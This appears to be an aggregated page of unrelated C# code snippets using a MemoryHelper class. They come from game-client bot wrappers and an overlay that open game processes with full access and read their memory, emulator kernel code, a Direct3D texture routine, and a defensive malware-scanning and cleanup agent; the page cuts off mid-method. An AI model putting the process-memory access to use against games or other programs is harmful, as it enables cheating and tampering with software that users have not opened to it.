Пример #1
0
        /// <summary>
        /// Main constructor
        /// </summary>
        /// <param name="p">the client's process object</param>
        public Client(Process p)
        {
            process = p;
            process.Exited += new EventHandler(process_Exited);
            process.EnableRaisingEvents = true;

            // Wait until we can really access the process
            process.WaitForInputIdle();

            while (process.MainWindowHandle == IntPtr.Zero)
            {
                process.Refresh();
                System.Threading.Thread.Sleep(5);
            }

            // Save a copy of the handle so the process doesn't have to be opened
            // every read/write operation
            processHandle = Util.WinApi.OpenProcess(Util.WinApi.PROCESS_ALL_ACCESS, 0, (uint)process.Id);

            pathFinder = new Tibia.Util.AStarPathFinder(this);
            contextMenu = new ContextMenu(this);

            memory = new MemoryHelper(this);
            window = new WindowHelper(this);
            io = new IOHelper(this);
            login = new LoginHelper(this);
            dll = new DllHelper(this);
            input = new InputHelper(this);
            player = new PlayerHelper(this);

            icon = new Icon(this);
            skin = new Skin(this);

            // Save the start time (it isn't changing)
            startTime = Memory.ReadInt32(Addresses.Client.StartTime);
        }
Пример #2
0
        /// <summary>
        /// Main constructor
        /// </summary>
        /// <param name="p">the client's process object</param>
        public Client(Process p)
        {
            process = p;
            process.Exited += new EventHandler(process_Exited);
            process.EnableRaisingEvents = true;

            // Wait until we can really access the process
            process.WaitForInputIdle();

            while (process.MainWindowHandle == IntPtr.Zero)
            {
                process.Refresh();
                System.Threading.Thread.Sleep(5);
            }

            // Save a copy of the handle so the process doesn't have to be opened
            // every read/write operation
            processHandle = Util.WinApi.OpenProcess(Util.WinApi.PROCESS_ALL_ACCESS, 0, (uint)process.Id);

            memory = new MemoryHelper(this);
            window = new WindowHelper(this);
            login = new LoginHelper(this);
            input = new InputHelper(this);
        }
Пример #3
0
 /// <summary>
 ///
 /// </summary>
 /// <param name="offset"></param>
 /// <returns></returns>
 public DateTime ReadDateTime(long address, long offset)
 {
     return(MemoryHelper.ReadDateTime((void *)new IntPtr(address), offset));
 }
Пример #4
0
        private static void UpdateMonsterRemovableParts(Process process, Monster monster)
        {
            var removableParts = monster.Parts.Where(part => part.IsRemovable);

            if (removableParts.Any())
            {
                foreach (var removablePart in removableParts)
                {
                    UpdateMonsterRemovablePart(process, monster, removablePart.Address);
                }
            }
            else
            {
                ulong removablePartAddress = monster.Address + DataOffsets.Monster.RemovablePartCollection + DataOffsets.MonsterRemovablePartCollection.FirstRemovablePart;
                for (int index = 0; index < DataOffsets.MonsterRemovablePartCollection.MaxItemCount; ++index)
                {
                    // Every 16 elements there seems to be a new removable part collection. When we reach this point,
                    // we advance past the first 64 bit field to get to the start of the next part again
                    ulong staticPtr = MemoryHelper.Read <ulong>(process, removablePartAddress);
                    if (staticPtr <= 10)
                    {
                        removablePartAddress += 8;
                    }

                    // This is rough/hacky but it removes seemingly valid parts that aren't actually "removable".
                    // TODO: Figure out why Paolumu, Barroth, Radobaan have these mysterious removable parts
                    bool isValid1 = true;
                    bool isValid2 = true;
                    bool isValid3 = true;

                    int validity1 = MemoryHelper.Read <int>(process, removablePartAddress + DataOffsets.MonsterRemovablePart.Validity1);
                    isValid1 = validity1 == 1;
                    if (!ConfigHelper.Main.Values.Debug.ShowWeirdRemovableParts)
                    {
                        int validity2 = MemoryHelper.Read <int>(process, removablePartAddress + DataOffsets.MonsterRemovablePart.Validity2);
                        int validity3 = MemoryHelper.Read <int>(process, removablePartAddress + DataOffsets.MonsterRemovablePart.Validity3);

                        isValid2 = validity3 == 0 || validity3 == 1;

                        isValid3 = true;
                        if (validity3 == 0 && validity2 != 1)
                        {
                            isValid3 = false;
                        }
                    }

                    if (isValid1 && isValid2 && isValid3)
                    {
                        float maxHealth = MemoryHelper.Read <float>(process, removablePartAddress + DataOffsets.MonsterRemovablePart.MaxHealth);
                        if (maxHealth > 0)
                        {
                            UpdateMonsterRemovablePart(process, monster, removablePartAddress);
                        }
                        else
                        {
                            break;
                        }
                    }

                    removablePartAddress += DataOffsets.MonsterRemovablePart.NextRemovablePart;
                }
            }
        }
Пример #5
0
        private static Monster UpdateAndGetMonster(Process process, ulong monsterAddress)
        {
            Monster monster = null;

            ulong tmp = monsterAddress + DataOffsets.Monster.MonsterStartOfStructOffset + DataOffsets.Monster.MonsterHealthComponentOffset;
            ulong health_component = MemoryHelper.Read <ulong>(process, tmp);

            string id        = MemoryHelper.ReadString(process, tmp + DataOffsets.MonsterModel.IdOffset, (uint)DataOffsets.MonsterModel.IdLength);
            float  maxHealth = MemoryHelper.Read <float>(process, health_component + DataOffsets.MonsterHealthComponent.MaxHealth);

            if (String.IsNullOrEmpty(id))
            {
                return(monster);
            }

            id = id.Split('\\').Last();
            if (!Monster.IsIncluded(id))
            {
                return(monster);
            }

            if (maxHealth <= 0)
            {
                return(monster);
            }

            float currentHealth = MemoryHelper.Read <float>(process, health_component + DataOffsets.MonsterHealthComponent.CurrentHealth);
            float sizeScale     = MemoryHelper.Read <float>(process, monsterAddress + DataOffsets.Monster.MonsterStartOfStructOffset + DataOffsets.Monster.SizeScale);
            float scaleModifier = MemoryHelper.Read <float>(process, monsterAddress + DataOffsets.Monster.MonsterStartOfStructOffset + DataOffsets.Monster.ScaleModifier);

            if (scaleModifier <= 0 || scaleModifier >= 2)
            {
                scaleModifier = 1;
            }

            monster = OverlayViewModel.Instance.MonsterWidget.Context.UpdateAndGetMonster(monsterAddress, id, maxHealth, currentHealth, sizeScale, scaleModifier);

            if (ConfigHelper.MonsterData.Values.Monsters.ContainsKey(id) && ConfigHelper.MonsterData.Values.Monsters[id].Parts.Count() > 0)
            {
                if (!OverlayViewModel.Instance.DebugWidget.Context.CurrentGame.IsValid || OverlayViewModel.Instance.DebugWidget.Context.CurrentGame.IsCurrentPlayerLobbyHost() || !OverlayViewModel.Instance.DebugWidget.Context.CurrentGame.IsPlayerOnline())
                {
                    UpdateMonsterParts(process, monster);
                    if (ConfigHelper.MonsterData.Values.Monsters[id].Parts.Where(p => p.IsRemovable).Count() > 0) // In case you are testing add "|| true"
                    {
                        UpdateMonsterRemovableParts(process, monster);
                    }
                    //UpdateMonsterStatusEffects(process, monster);

                    if (OverlayViewModel.Instance.DebugWidget.Context.CurrentGame.IsValid && OverlayViewModel.Instance.DebugWidget.Context.CurrentGame.IsPlayerOnline() && !OverlayViewModel.Instance.DebugWidget.Context.CurrentGame.IsPlayerAlone())
                    {
                        // Upload DATA to central server
                    }
                }
                else
                {
                    if (OverlayViewModel.Instance.DebugWidget.Context.CurrentGame.IsValid && OverlayViewModel.Instance.DebugWidget.Context.CurrentGame.IsPlayerOnline())
                    {
                        // Downlaod DATA from central server
                    }
                }

                UpdateMonsterStatusEffects(process, monster); // TODO: Remove
            }

            return(monster);
        }
Пример #6
0
        /// <summary>
        /// Sets the data from the texture.
        /// </summary>
        /// <typeparam name="T">Type of data in the array</typeparam>
        /// <param name="data">The array of data</param>
        /// <param name="mipLevel">Mip map level to read from</param>
        /// <param name="left">Right-most width position in the texture at which to acess. (0 or greater)</param>
        /// <param name="right">Right-most width position in the texture at which to acess. (width or less)</param>
        /// <param name="top">Top-most height position in the texture at which to acess. (0 or greater)</param>
        /// <param name="bottom">Bottom-most height position in the texture at which to acess. (height or less)</param>
        /// <param name="front">Front-most depth position in the texture at which to acess. (0 or greater)</param>
        /// <param name="back">Back-most depth position in the texture at which to acess. (depth or less)</param>
        /// <param name="startIndex">Starting index in the array to start reading from.</param>
        /// <param name="elementCount">Number of elements to write.</param>
        /// <exception cref="System.ArgumentException">Thrown if the format byte size of the type to write and the texture do not match, the subimage
        /// dimensions are invalid, or if the total size to write and the total size in the texture do not match</exception>
        /// <exception cref="Tesla.Core.TeslaException">Thrown if there was an error writing to the texture.</exception>
        public override void SetData <T>(T[] data, int mipLevel, int left, int right, int top, int bottom, int front, int back, int startIndex, int elementCount)
        {
            if (_texture3D == null || _texture3D.Disposed)
            {
                throw new ObjectDisposedException(GetType().Name);
            }

            if (mipLevel < 0 || mipLevel >= _mipCount)
            {
                throw new ArgumentOutOfRangeException("mipLevel", String.Format("Mip level is out of range. Must be between 0 and {0}.", _mipCount.ToString()));
            }

            //Throws null or out of range exception
            D3D10Helper.CheckArrayBounds(data, startIndex, elementCount);

            int formatSize = D3D10Helper.FormatSize(base.Format);
            int elemSize   = MemoryHelper.SizeOf <T>();

            CheckSizes(formatSize, elemSize);

            //Calc subresource dimensions
            int width  = (int)MathHelper.Max(1, base.Width >> mipLevel);
            int height = (int)MathHelper.Max(1, base.Height >> mipLevel);
            int depth  = (int)MathHelper.Max(1, base.Depth >> mipLevel);

            //Ensure box dimensions
            CheckBox(left, right, top, bottom, front, back, ref width, ref height, ref depth);

            CheckTotalSize(base.Format, ref formatSize, ref width, ref height, ref depth, elemSize, elementCount);

            //Create staging for non-dynamic textures
            if (_usage == D3D.ResourceUsage.Default)
            {
                CreateStaging();
            }

            try {
                if (_usage == D3D.ResourceUsage.Default)
                {
                    SDX.DataBox    dataBox    = _staging.Map(mipLevel, D3D.MapMode.Write, D3D.MapFlags.None);
                    SDX.DataStream ds         = dataBox.Data;
                    int            row        = left;
                    int            col        = top;
                    int            slice      = front;
                    int            rowPitch   = dataBox.RowPitch;
                    int            slicePitch = dataBox.SlicePitch;

                    int index = startIndex;
                    int count = elementCount;
                    //Compute the actual number of elements based on the format size and the element size we're copying the bytes into
                    int actWidth = (int)MathHelper.Floor(width * (formatSize / elemSize));
                    //Go slice by slice
                    for (int k = slice; k < back; k++)
                    {
                        //Go row by row
                        for (int i = row; i < bottom; i++)
                        {
                            //Set the position
                            ds.Position = (k * slicePitch) + (i * rowPitch) + (col * formatSize);
                            //Break if we've run out of elements or on the very last row that isn't complete
                            if (count <= 0)
                            {
                                break;
                            }
                            else if (count < actWidth)
                            {
                                ds.WriteRange <T>(data, index, count);
                                break;
                            }
                            //Otherwise, copy the whole row and increment/decrement the index and count
                            ds.WriteRange <T>(data, index, actWidth);
                            index += actWidth;
                            count -= actWidth;
                        }
                    }
                    _staging.Unmap(mipLevel);

                    //Do resource copy
                    if (base.Format == SurfaceFormat.DXT1 || base.Format == SurfaceFormat.DXT3 || base.Format == SurfaceFormat.DXT5)
                    {
                        _graphicsDevice.CopyResource(_staging, _texture3D);
                    }
                    else
                    {
                        D3D.ResourceRegion region = new D3D.ResourceRegion();
                        region.Left   = col;
                        region.Right  = right;
                        region.Top    = row;
                        region.Bottom = bottom;
                        region.Front  = slice;
                        region.Back   = back;
                        _graphicsDevice.CopySubresourceRegion(_staging, mipLevel, region, _texture3D, mipLevel, col, row, slice);
                    }
                }
                else
                {
                    SDX.DataBox    dataBox    = _texture3D.Map(mipLevel, D3D.MapMode.Write, D3D.MapFlags.None);
                    SDX.DataStream ds         = dataBox.Data;
                    int            row        = left;
                    int            col        = top;
                    int            slice      = front;
                    int            rowPitch   = dataBox.RowPitch;
                    int            slicePitch = dataBox.SlicePitch;

                    int index = startIndex;
                    int count = elementCount;
                    //Compute the actual number of elements based on the format size and the element size we're copying the bytes into
                    int actWidth = (int)MathHelper.Floor(width * (formatSize / elemSize));
                    //Go slice by slice
                    for (int k = slice; k < back; k++)
                    {
                        //Go row by row
                        for (int i = row; i < bottom; i++)
                        {
                            //Set the position
                            ds.Position = (k * slicePitch) + (i * rowPitch) + (col * formatSize);
                            //Break if we've run out of elements or on the very last row that isn't complete
                            if (count <= 0)
                            {
                                break;
                            }
                            else if (count < actWidth)
                            {
                                ds.WriteRange <T>(data, index, count);
                                break;
                            }
                            //Otherwise, copy the whole row and increment/decrement the index and count
                            ds.WriteRange <T>(data, index, actWidth);
                            index += actWidth;
                            count -= actWidth;
                        }
                    }
                    _texture3D.Unmap(mipLevel);
                }
            } catch (Exception e) {
                throw new TeslaException("Error writing to D3D10 Texture3D.", e);
            }
        }
Пример #7
0
        private KernelResult ParseProcessInfo(ProcessCreationInfo creationInfo)
        {
            // Ensure that the current kernel version is equal or above to the minimum required.
            uint requiredKernelVersionMajor = (uint)Capabilities.KernelReleaseVersion >> 19;
            uint requiredKernelVersionMinor = ((uint)Capabilities.KernelReleaseVersion >> 15) & 0xf;

            if (System.EnableVersionChecks)
            {
                if (requiredKernelVersionMajor > KernelVersionMajor)
                {
                    return(KernelResult.InvalidCombination);
                }

                if (requiredKernelVersionMajor != KernelVersionMajor && requiredKernelVersionMajor < 3)
                {
                    return(KernelResult.InvalidCombination);
                }

                if (requiredKernelVersionMinor > KernelVersionMinor)
                {
                    return(KernelResult.InvalidCombination);
                }
            }

            KernelResult result = AllocateThreadLocalStorage(out ulong userExceptionContextAddress);

            if (result != KernelResult.Success)
            {
                return(result);
            }

            UserExceptionContextAddress = userExceptionContextAddress;

            MemoryHelper.FillWithZeros(CpuMemory, (long)userExceptionContextAddress, KTlsPageInfo.TlsEntrySize);

            Name = creationInfo.Name;

            _state = ProcessState.Created;

            _creationTimestamp = PerformanceCounter.ElapsedMilliseconds;

            MmuFlags    = creationInfo.MmuFlags;
            _category   = creationInfo.Category;
            TitleId     = creationInfo.TitleId;
            _entrypoint = creationInfo.CodeAddress;
            _imageSize  = (ulong)creationInfo.CodePagesCount * KMemoryManager.PageSize;

            _useSystemMemBlocks = ((MmuFlags >> 6) & 1) != 0;

            switch ((AddressSpaceType)((MmuFlags >> 1) & 7))
            {
            case AddressSpaceType.Addr32Bits:
            case AddressSpaceType.Addr36Bits:
            case AddressSpaceType.Addr39Bits:
                _memoryUsageCapacity = MemoryManager.HeapRegionEnd -
                                       MemoryManager.HeapRegionStart;
                break;

            case AddressSpaceType.Addr32BitsNoMap:
                _memoryUsageCapacity = MemoryManager.HeapRegionEnd -
                                       MemoryManager.HeapRegionStart +
                                       MemoryManager.AliasRegionEnd -
                                       MemoryManager.AliasRegionStart;
                break;

            default: throw new InvalidOperationException($"Invalid MMU flags value 0x{MmuFlags:x2}.");
            }

            GenerateRandomEntropy();

            return(KernelResult.Success);
        }
Пример #8
0
 private void WriteClockSnapshotFromBuffer(ServiceCtx context, IpcRecvListBuffDesc ipcDesc, ClockSnapshot clockSnapshot)
 {
     MemoryHelper.Write(context.Memory, ipcDesc.Position, clockSnapshot);
 }
 public static SafeMemoryHandle Open(this Process process,
                                     ProcessAccessFlags processAccessFlags = ProcessAccessFlags.AllAccess)
 {
     return(MemoryHelper.OpenProcess(processAccessFlags, process.Id));
 }
Пример #10
0
        private static int EventWait(ServiceCtx context, bool async)
        {
            long inputPosition  = context.Request.GetBufferType0x21().Position;
            long outputPosition = context.Request.GetBufferType0x22().Position;

            NvHostCtrlSyncptWaitEx args = MemoryHelper.Read <NvHostCtrlSyncptWaitEx>(context.Memory, inputPosition);

            if ((uint)args.Id >= NvHostSyncpt.SyncptsCount)
            {
                return(NvResult.InvalidInput);
            }

            void WriteArgs()
            {
                MemoryHelper.Write(context.Memory, outputPosition, args);
            }

            NvHostSyncpt syncpt = GetUserCtx(context).Syncpt;

            if (syncpt.MinCompare(args.Id, args.Thresh))
            {
                args.Value = syncpt.GetMin(args.Id);

                WriteArgs();

                return(NvResult.Success);
            }

            if (!async)
            {
                args.Value = 0;
            }

            if (args.Timeout == 0)
            {
                WriteArgs();

                return(NvResult.TryAgain);
            }

            NvHostEvent Event;

            int result, eventIndex;

            if (async)
            {
                eventIndex = args.Value;

                if ((uint)eventIndex >= NvHostCtrlUserCtx.EventsCount)
                {
                    return(NvResult.InvalidInput);
                }

                Event = GetUserCtx(context).Events[eventIndex];
            }
            else
            {
                Event = GetFreeEvent(context, syncpt, args.Id, out eventIndex);
            }

            if (Event != null &&
                (Event.State == NvHostEventState.Registered ||
                 Event.State == NvHostEventState.Free))
            {
                Event.Id     = args.Id;
                Event.Thresh = args.Thresh;

                Event.State = NvHostEventState.Waiting;

                if (!async)
                {
                    args.Value = ((args.Id & 0xfff) << 16) | 0x10000000;
                }
                else
                {
                    args.Value = args.Id << 4;
                }

                args.Value |= eventIndex;

                result = NvResult.TryAgain;
            }
            else
            {
                result = NvResult.InvalidInput;
            }

            WriteArgs();

            return(result);
        }
Пример #11
0
        private static int SyncptWait(ServiceCtx context, bool extended)
        {
            long inputPosition  = context.Request.GetBufferType0x21().Position;
            long outputPosition = context.Request.GetBufferType0x22().Position;

            NvHostCtrlSyncptWait args = MemoryHelper.Read <NvHostCtrlSyncptWait>(context.Memory, inputPosition);

            NvHostSyncpt syncpt = GetUserCtx(context).Syncpt;

            if ((uint)args.Id >= NvHostSyncpt.SyncptsCount)
            {
                return(NvResult.InvalidInput);
            }

            int result;

            if (syncpt.MinCompare(args.Id, args.Thresh))
            {
                result = NvResult.Success;
            }
            else if (args.Timeout == 0)
            {
                result = NvResult.TryAgain;
            }
            else
            {
                Logger.PrintDebug(LogClass.ServiceNv, "Waiting syncpt with timeout of " + args.Timeout + "ms...");

                using (ManualResetEvent waitEvent = new ManualResetEvent(false))
                {
                    syncpt.AddWaiter(args.Thresh, waitEvent);

                    // Note: Negative (> INT_MAX) timeouts aren't valid on .NET,
                    // in this case we just use the maximum timeout possible.
                    int timeout = args.Timeout;

                    if (timeout < -1)
                    {
                        timeout = int.MaxValue;
                    }

                    if (timeout == -1)
                    {
                        waitEvent.WaitOne();

                        result = NvResult.Success;
                    }
                    else if (waitEvent.WaitOne(timeout))
                    {
                        result = NvResult.Success;
                    }
                    else
                    {
                        result = NvResult.TimedOut;
                    }
                }

                Logger.PrintDebug(LogClass.ServiceNv, "Resuming...");
            }

            if (extended)
            {
                context.Memory.WriteInt32(outputPosition + 0xc, syncpt.GetMin(args.Id));
            }

            return(result);
        }
Пример #12
0
        /////////////////////////////////////////////////////
        //                                                 //
        // DoSignatureScan()                               //
        //                                                 //
        /////////////////////////////////////////////////////
        //Description:  Scans memory, disk and registry for
        //              given signatures.  Stores results in
        //              class global results object.
        //
        //Returns:      true if successful
        //////////////////////////////////////////////////////
        private unsafe bool DoSignatureScan()
        {
            AgentScanLog.AppendLine("");
            AgentScanLog.AppendLine("*********************************************");
            AgentScanLog.AppendLine("               SIGNATURE SCAN                ");
            AgentScanLog.AppendLine("*********************************************");
            AgentScanLog.AppendLine("");

            //
            //=============================================
            //          SCAN FOR REGISTRY SIGNATURES
            //=============================================
            //
            RegistryHelper RegistryScanner = new RegistryHelper();

            //mount NTUSER.DAT files (so every user's SID is mounted in HKEY_USERS)
            RegistryScanner.LoadNtUserDatFiles(false);

            if (AgentRegistrySignatures.Length > 0)
            {
                AgentScanLog.AppendLine("SCAN:  Scanning registry for infections...");

                //optionally scan HKCR for potentially malicious GUIDs
                //nb:  if any found, auto added to malware_info.GUIDs container
                if (AgentSettings.ContainsKey("Option_Scan_GUIDs"))
                    if (AgentSettings["Option_Scan_GUIDs"] == "True")
                        RegistryScanner.ScanForMaliciousGUIDs();

                //create a static GUID in our AgentRegistryGuidSignatures for every dynamic GUID
                RegistryScanner.LoadDynamicGUIDs(ref AgentRegistryGuidSignatures);

                //
                //perform actual scan
                //
                //initialization here is irrelevant; it will be allocated in the function
                RegistryScanner.ScanForRegistrySignatures(AgentRegistrySignatures, AgentRegistryGuidSignatures, ref AgentSignatureMatches.RegistrySignatureMatches);

                //append scan log
                AgentScanLog.AppendLine(RegistryScanner.RegistryHelperLog.ToString());
                AgentScanLog.AppendLine("SCAN:  Registry scan complete.");
            }

            //
            //=============================================
            //          SCAN FOR FILE SIGNATURES
            //=============================================
            //
            FileHelper FileScanner = new FileHelper();

            if (AgentFileSignatures.Length > 0)
            {
                AgentScanLog.AppendLine("SCAN:  Scanning all attached disks for file signatures...");

                //perform scan
                FileScanner.ScanForFileSignatures(AgentFileSignatures, ref AgentSignatureMatches.FileSignatureMatches);

                //append the file scan log
                AgentScanLog.AppendLine(FileScanner.FileHelperLog.ToString());
                AgentScanLog.AppendLine("SCAN:  Disk scans complete.");
            }

            //
            //=============================================
            //          SCAN FOR MEMORY SIGNATURES
            //=============================================
            //
            MemoryHelper MemoryScanner = new MemoryHelper();

            if (AgentMemorySignatures.Length > 0)
            {
                AgentScanLog.AppendLine("SCAN:  Scanning active processes for memory signatures...");

                //setup a few scan parameters based on agent settings
                //
                //search cmd line parameters?
                bool SearchCmdLine = false;
                if (AgentSettings.ContainsKey("MemorySignatures_SearchCmdLine"))
                    if (AgentSettings["MemorySignatures_SearchCmdLine"] == "True")
                        SearchCmdLine = true;
                //search heap space?
                bool SearchHeap = false;
                if (AgentSettings.ContainsKey("MemorySignatures_SearchHeapSpace"))
                    if (AgentSettings["MemorySignatures_SearchHeapSpace"] == "True")
                        SearchHeap = true;
                //search loaded module list (dlls)?
                bool SearchLoadedModuleList = false;
                if (AgentSettings.ContainsKey("MemorySignatures_SearchLoadedModules"))
                    if (AgentSettings["MemorySignatures_SearchLoadedModules"] == "True")
                        SearchLoadedModuleList = true;
                //search registry findings in process?
                bool SearchForRegistryFindings = false;
                if (AgentSettings.ContainsKey("MemorySignatures_UseRegistryFindings"))
                    if (AgentSettings["MemorySignatures_UseRegistryFindings"] == "True")
                        SearchForRegistryFindings = true;

                //perform scan
                MemoryScanner.ScanForMemorySignatures(AgentSignatureMatches.RegistrySignatureMatches, AgentMemorySignatures, ref AgentSignatureMatches.MemorySignatureMatches, SearchCmdLine, SearchHeap, SearchLoadedModuleList, SearchForRegistryFindings);

                //append the memory scanner log
                AgentScanLog.AppendLine(MemoryScanner.MemoryHelperLog.ToString());
                AgentScanLog.AppendLine("SCAN:  Process scan complete.");
            }

            //calculate total # of findings
            TotalFindingsCount = 0;

            if (AgentSignatureMatches.RegistrySignatureMatches != null)
                TotalFindingsCount += AgentSignatureMatches.RegistrySignatureMatches.Length;
            if (AgentSignatureMatches.FileSignatureMatches != null)
                TotalFindingsCount += AgentSignatureMatches.FileSignatureMatches.Length;
            if (AgentSignatureMatches.MemorySignatureMatches != null)
                TotalFindingsCount += AgentSignatureMatches.MemorySignatureMatches.Length;

            //unload NTUSER.DAT files
            RegistryScanner.LoadNtUserDatFiles(true);

            /*
            StreamWriter sw = new StreamWriter("AgentScanLog.txt");
            sw.WriteLine(AgentScanLog.ToString());
            sw.Close();*/

            return true;
        }
Пример #13
0
        /////////////////////////////////////////////////////
        //                                                 //
        // DoMitigate()                                    //
        //                                                 //
        /////////////////////////////////////////////////////
        //Description:  Performs various mitigation tasks, such
        //              as usb device disabling.
        //
        //              NOTE:  depends on DoSignatureScan()
        //
        //Returns:      true if successful
        //////////////////////////////////////////////////////
        private unsafe bool DoMitigate()
        {
            AgentScanLog.AppendLine("");
            AgentScanLog.AppendLine("*********************************************");
            AgentScanLog.AppendLine("            MITIGATE/CLEAN                   ");
            AgentScanLog.AppendLine("*********************************************");
            AgentScanLog.AppendLine("");

            //remove file references we found in registry from disk?
            bool removeReferences = false;
            if (AgentSettings.ContainsKey("Option_Delete_MalwareFoundInRegistry"))
                if (AgentSettings["Option_Delete_MalwareFoundInRegistry"] == "True")
                    removeReferences = true;

            //instantiate our helper classes
            RegistryHelper RegHelper = new RegistryHelper();
            FileHelper FileHelper = new FileHelper();
            MemoryHelper MemHelper = new MemoryHelper();

            if (AgentSignatureMatches.RegistrySignatureMatches != null)
                if (AgentSignatureMatches.RegistrySignatureMatches.Length > 0)
                    RegHelper.CleanRegistryFindings(ref AgentSignatureMatches.RegistrySignatureMatches, removeReferences);
            if (AgentSignatureMatches.FileSignatureMatches != null)
                if (AgentSignatureMatches.FileSignatureMatches.Length > 0)
                    FileHelper.CleanFileFindings(ref AgentSignatureMatches.FileSignatureMatches);
            if (AgentSignatureMatches.MemorySignatureMatches != null)
                if (AgentSignatureMatches.MemorySignatureMatches.Length > 0)
                    MemHelper.CleanMemoryFindings(ref AgentSignatureMatches.MemorySignatureMatches);

            //=============================================
            //          Disable/Disassociate autorun
            //=============================================
            if (AgentSettings["Option_Disable_Autorun"] == "True")
                Mitigate.DisableAndDisassociateAutorun();

            //=============================================
            //          Disable USB
            //=============================================
            if (AgentSettings["Option_Disable_USB"] == "True")
                Mitigate.DisableUseOfUSBDevices();

            AgentScanLog.AppendLine("MITIGATE:  Cleanup process complete.");
            AgentScanLog.AppendLine("MITIGATE:  Closing log file...");
            AgentScanLog.AppendLine("FINALIZE:  Codeword exiting on " + DateTime.Now.ToString("MM/dd/yyyy HH:mm:ss"));

            return true;
        }
Пример #14
0
        /////////////////////////////////////////////////////
        //                                                 //
        // DoCollect()                                     //
        //                                                 //
        /////////////////////////////////////////////////////
        //Description:  Collects all files identified in the scan
        //              as malicious and stuffs them into a
        //              password-protected, encrypted ZIP file.
        //
        //              NOTE:  depends on DoSignatureScan()
        //
        //
        //Returns:      true if successful
        //////////////////////////////////////////////////////
        private unsafe bool DoCollect()
        {
            AgentScanLog.AppendLine("");
            AgentScanLog.AppendLine("*********************************************");
            AgentScanLog.AppendLine("                  COLLECT                    ");
            AgentScanLog.AppendLine("*********************************************");
            AgentScanLog.AppendLine("");
            AgentScanLog.AppendLine("COLLECT:  Collecting evidence files...");

            //collect the following files to wrap up in archive file:
            //  1. all identified malware files
            //  2. infection log (Infection_Log.txt) which we create
            //  3. usb device list file (USB_Devices.txt) which we create
            //  4. .net installation log (if exists)
            //

            //---------------------------------
            //          BUILD ZIP NAME
            //---------------------------------
            ZipFileName = Collect.BuildZipName(TotalFindingsCount);
            ZipFile zip = new ZipFile(ZipFileName);

            if (AgentSettings.ContainsKey("Reporting_Archive_Password"))
            {
                IntPtr pptr = IntPtr.Zero;
                //do this secure string thing if password specified
                char[] str = AgentSettings["Reporting_Archive_Password"].ToCharArray();

                fixed (char* pChars = str)
                {
                    ZipPassword = new SecureString(pChars, str.Length);
                }

                //decrypt our password in memory
                pptr = Marshal.SecureStringToBSTR(ZipPassword);
                zip.Password = Marshal.PtrToStringBSTR(pptr);

                //zero the password memory
                Marshal.ZeroFreeBSTR(pptr);
            }

            zip.TempFileFolder = ".";
            ArrayList CollectList = new ArrayList();
            int count = 0;

            AgentScanLog.AppendLine("COLLECT:  Searching file signature matches for files...");

            //loop through file signatures
            foreach (CwXML.FileSignatureMatch fileMatch in AgentSignatureMatches.FileSignatureMatches)
                if (Collect.AddToZip(zip, fileMatch.FullPath))
                    count++;

            AgentScanLog.AppendLine("COLLECT:  Added " + count + " files.");
            count = 0;
            AgentScanLog.AppendLine("COLLECT:  Searching registry signature matches for files...");

            //loop through registry signatures
            foreach (CwXML.RegistrySignatureMatch registryMatch in AgentSignatureMatches.RegistrySignatureMatches)
                if (registryMatch.IsFileOnDisk)
                    if (Collect.AddToZip(zip, registryMatch.RegistryValueData))
                        count++;

            AgentScanLog.AppendLine("COLLECT:  Added " + count + " files.");
            AgentScanLog.AppendLine("COLLECT:  Generating infection summary report...");

            //---------------------------------
            //          ADD INFECTION LOG
            //---------------------------------
            //2.  infection log (Infection_Log.txt) which we create
            StreamWriter infectionlog = new StreamWriter("InfectionLog.txt");
            StringBuilder InfectionSummaryReport = new StringBuilder();

            //print infection summary for each signature type
            RegistryHelper RegHelper = new RegistryHelper();
            FileHelper FileHelper = new FileHelper();
            MemoryHelper MemHelper = new MemoryHelper();
            RegHelper.PrintRegistryFindings(AgentSignatureMatches.RegistrySignatureMatches, ref InfectionSummaryReport);
            FileHelper.PrintFileFindings(AgentSignatureMatches.FileSignatureMatches, ref InfectionSummaryReport);
            MemHelper.PrintMemoryFindings(AgentSignatureMatches.MemorySignatureMatches, ref InfectionSummaryReport);
            infectionlog.WriteLine(InfectionSummaryReport.ToString());
            infectionlog.Close();
            zip.AddFile("InfectionLog.txt");

            AgentScanLog.AppendLine("COLLECT:  Enumerating USB Devices...");

            //---------------------------------
            //          ADD USB DEVICES LOG
            //---------------------------------
            //3.  usb device list file (USB_Devices.txt) which we create
            StreamWriter usblogfile = new StreamWriter("USB_Devices.txt");
            StringBuilder UsbDevicesReport = new StringBuilder();
            Collect.EnumerateUSBDevices(ref UsbDevicesReport);
            usblogfile.WriteLine(UsbDevicesReport.ToString());
            usblogfile.Close();
            zip.AddFile("USB_Devices.txt");

            //---------------------------------
            //          ADD .NET LOG
            //---------------------------------
            //4.  .net installation log (if exists)
            try
            {
                FileInfo dotnetfxLogfile = new FileInfo("dotnetfx_install_log.txt");
                if (dotnetfxLogfile.Exists)
                    zip.AddFile("dotnetfx_install_log.txt");
            }
            catch { } //no biggie..

            AgentScanLog.AppendLine("COLLECT:  All evidence collected.");
            AgentScanLog.AppendLine("COLLECT:  Saving zip to disk...");
            zip.Save();
            zip.Dispose();  //at this point zip is closed and written to disk

            return true;
        }
Пример #15
0
        /// <summary>
        /// Main constructor
        /// </summary>
        /// <param name="p">the client's process object</param>
        public Client(Process p)
        {
            Process = p;
            Process.Exited += new EventHandler(process_Exited);
            Process.EnableRaisingEvents = true;

            // Wait until we can really access the process
            Process.WaitForInputIdle();

            while (Process.MainWindowHandle == IntPtr.Zero)
            {
                Process.Refresh();
                System.Threading.Thread.Sleep(5);
            }

            // Save a copy of the handle so the process doesn't have to be opened
            // every read/write operation
            Handle = Util.WinAPI.OpenProcess(Util.WinAPI.PROCESS_ALL_ACCESS, 0, (uint)Process.Id);

            PathFinder = new Pokemon.Util.AStarPathFinder(this);
            Inventory = new Objects.Inventory(this);
            BattleList = new Objects.BattleList(this);
            Map = new Objects.Map(this);
            Memory = new MemoryHelper(this);
            Window = new Window(this);
            IO = new IOHelper(this);
            Login = new LoginHelper(this);
            Dll = new DllHelper(this);
            Input = new InputHelper(this);
            Player = new PlayerHelper(this);

            // Save the start time (it isn't changing)
            startTime = Memory.ReadInt32(Addresses.Client.StartTime);
        }
Пример #16
0
 /// <summary>
 ///
 /// </summary>
 /// <param name="offset"></param>
 /// <returns></returns>
 public ushort ReadUShort(long address, long offset)
 {
     return(MemoryHelper.ReadUShort((void *)new IntPtr(address), offset));
 }
Пример #17
0
 /// <summary>
 ///
 /// </summary>
 /// <param name="offset"></param>
 /// <returns></returns>
 public double ReadDouble(long address, long offset)
 {
